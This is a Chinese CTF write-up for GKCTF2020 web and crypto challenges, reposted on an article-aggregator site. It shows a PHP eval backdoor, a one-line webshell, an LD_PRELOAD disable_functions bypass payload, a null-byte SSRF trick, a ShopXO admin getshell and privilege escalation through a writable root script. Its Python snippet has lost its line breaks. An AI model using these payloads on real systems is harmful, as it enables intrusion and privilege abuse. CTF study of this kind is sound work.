GKCTF2020--部分复现(加密和web)

2024-01-23 21:32

本文主要是介绍GKCTF2020--部分复现(加密和web),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

GKCTF2020–web

CheckIN

title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{public $code = null;public $decode = null;function __construct(){$this->code = @$this->x()['Ginkgo'];$this->decode = @base64_decode( $this->code );@Eval($this->decode);}public function x(){return $_REQUEST;}
}
new ClassName();

查看源码,不难发现,
在这里插入图片描述
有个eval()函数,并且将我们传入的参数进行base64解码再传入eval
没有任何过滤,传入ls 发现没用

phpinfo()

看看
在这里插入图片描述
看到disable_function
在这里插入图片描述
禁用了系统函数,我们写个马进去试试

eval($_POST[penson]);

在这里插入图片描述
由于他禁用了system函数,所以用蚁剑连接看看

在这里插入图片描述
发现根目录下有个readflag
估计就是要我们绕过disabled_function了
可以通过LD_PRELOAD这个环境变量,具体原理百度都能搜到,就不放了。
POC链接
下载他的poc链接
在传文件的时候,发现/var/html/www下并没有写权限,而其他目录却有
所以我上传到/vat/tmp目录下
在这里插入图片描述
然后用include()包含我们上传的php文件

include('/var/tmp/bypass_disablefunc.php');

在这里插入图片描述
可以发现成功包含,利用POC执行/readflag
payload

Ginkgo=aW5jbHVkZSgnL3Zhci90bXAvYnlwYXNzX2Rpc2FibGVmdW5jLnBocCcpOw==&cmd=/readflag&outpath=/tmp/xx&sopath=/var/tmp/bypass_disablefunc_x64.so

在这里插入图片描述

cve版签到

题目给出了提示
在这里插入图片描述
搜一波
CVE漏洞介绍
在这里插入图片描述
关键在于get_headers()函数
在这里插入图片描述
点一下进去
在这里插入图片描述
大家应该都知道127.0.0.1是本地嘛,利用那个cve漏洞,加%00截断,访问本地进去
在这里插入图片描述
他说要是123
改成123
在这里插入图片描述
flag就出来了

[GKCTF2020]老八小超市儿

在这里插入图片描述百度搜搜ShopXo漏洞
漏洞复现地址
进到后台直接使用默认账号密码登录
在这里插入图片描述
getshell
在这里插入图片描述
就按照教程来就行了

在这里插入图片描述
看上面给的链接一步一步来就行了,不多说了
Webshell的路径为/public/static/index/default/2.php
在这里插入图片描述
成功getshell
蚁剑连接
成功连接之后发现去根目录找flag,发现flag在/root目录下
在这里插入图片描述
这说明我们还得提权,获得更高的权限,可以发现有个特别红的玩意,我们点进去看看
在这里插入图片描述
在这里插入图片描述
有个python脚本,并且说出了他的位置,看一下python脚本
在这里插入图片描述
看的提示,说明这个脚本有root权限,属于root这个用户,并且这个脚本有写权限,

在这里插入图片描述
就可以根据这个python脚本来获取flag
因为这个脚本有写权限,就可以改下脚本,读取flag

在这里插入图片描述
但是呢这个脚本我们没有权限可以去执行,所以不行,回到根目录下的一个shell文件
在这里插入图片描述
在这里插入图片描述
他可以执行这个脚本
那咱们运行这个shell来看看
在这里插入图片描述
最终发现这个shell是可以成功运行的,flag到手

CRYPTO

小学生的密码学

在这里插入图片描述
把他给出的表达式一搜,就有仿射密码
在这里插入图片描述
base64编码即可

汉字的秘密

百度一搜会搜到当铺密码
当铺密码原理解释

在这里插入图片描述
然后你会发现第一个字符ascii加一就是F,第二个字符加2就是L
正好是flag
写脚本跑

a =[69,74,62,67,118,83,72,77,86,55,71,57,82,57,64,63,51,103]
str =""
j=0for i in a:j += 1str +=chr(i+j)print(i)print(str)

在这里插入图片描述
把y改成括号即可

这篇关于GKCTF2020--部分复现(加密和web)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/637596

相关文章

Java中使用Hutool进行AES加密解密的方法举例

《Java中使用Hutool进行AES加密解密的方法举例》AES是一种对称加密,所谓对称加密就是加密与解密使用的秘钥是一个,下面:本文主要介绍Java中使用Hutool进行AES加密解密的相关资料... 目录前言一、Hutool简介与引入1.1 Hutool简介1.2 引入Hutool二、AES加密解密基础

JSON Web Token在登陆中的使用过程

《JSONWebToken在登陆中的使用过程》:本文主要介绍JSONWebToken在登陆中的使用过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录JWT 介绍微服务架构中的 JWT 使用结合微服务网关的 JWT 验证1. 用户登录,生成 JWT2. 自定义过滤

一文教你如何将maven项目转成web项目

《一文教你如何将maven项目转成web项目》在软件开发过程中,有时我们需要将一个普通的Maven项目转换为Web项目,以便能够部署到Web容器中运行,本文将详细介绍如何通过简单的步骤完成这一转换过程... 目录准备工作步骤一:修改​​pom.XML​​1.1 添加​​packaging​​标签1.2 添加

Mysql删除几亿条数据表中的部分数据的方法实现

《Mysql删除几亿条数据表中的部分数据的方法实现》在MySQL中删除一个大表中的数据时,需要特别注意操作的性能和对系统的影响,本文主要介绍了Mysql删除几亿条数据表中的部分数据的方法实现,具有一定... 目录1、需求2、方案1. 使用 DELETE 语句分批删除2. 使用 INPLACE ALTER T

SpringBoot3使用Jasypt实现加密配置文件

《SpringBoot3使用Jasypt实现加密配置文件》这篇文章主要为大家详细介绍了SpringBoot3如何使用Jasypt实现加密配置文件功能,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编... 目录一. 使用步骤1. 添加依赖2.配置加密密码3. 加密敏感信息4. 将加密信息存储到配置文件中5

SpringBoot整合jasypt实现重要数据加密

《SpringBoot整合jasypt实现重要数据加密》Jasypt是一个专注于简化Java加密操作的开源工具,:本文主要介绍详细介绍了如何使用jasypt实现重要数据加密,感兴趣的小伙伴可... 目录jasypt简介 jasypt的优点SpringBoot使用jasypt创建mapper接口配置文件加密

Java实现MD5加密的四种方式

《Java实现MD5加密的四种方式》MD5是一种广泛使用的哈希算法,其输出结果是一个128位的二进制数,通常以32位十六进制数的形式表示,MD5的底层实现涉及多个复杂的步骤和算法,本文给大家介绍了Ja... 目录MD5介绍Java 中实现 MD5 加密方式方法一:使用 MessageDigest方法二:使用

web网络安全之跨站脚本攻击(XSS)详解

《web网络安全之跨站脚本攻击(XSS)详解》:本文主要介绍web网络安全之跨站脚本攻击(XSS)的相关资料,跨站脚本攻击XSS是一种常见的Web安全漏洞,攻击者通过注入恶意脚本诱使用户执行,可能... 目录前言XSS 的类型1. 存储型 XSS(Stored XSS)示例:危害:2. 反射型 XSS(Re

SpringBoot使用Jasypt对YML文件配置内容加密的方法(数据库密码加密)

《SpringBoot使用Jasypt对YML文件配置内容加密的方法(数据库密码加密)》本文介绍了如何在SpringBoot项目中使用Jasypt对application.yml文件中的敏感信息(如数... 目录SpringBoot使用Jasypt对YML文件配置内容进行加密(例:数据库密码加密)前言一、J

解决JavaWeb-file.isDirectory()遇到的坑问题

《解决JavaWeb-file.isDirectory()遇到的坑问题》JavaWeb开发中,使用`file.isDirectory()`判断路径是否为文件夹时,需要特别注意:该方法只能判断已存在的文... 目录Jahttp://www.chinasem.cnvaWeb-file.isDirectory()遇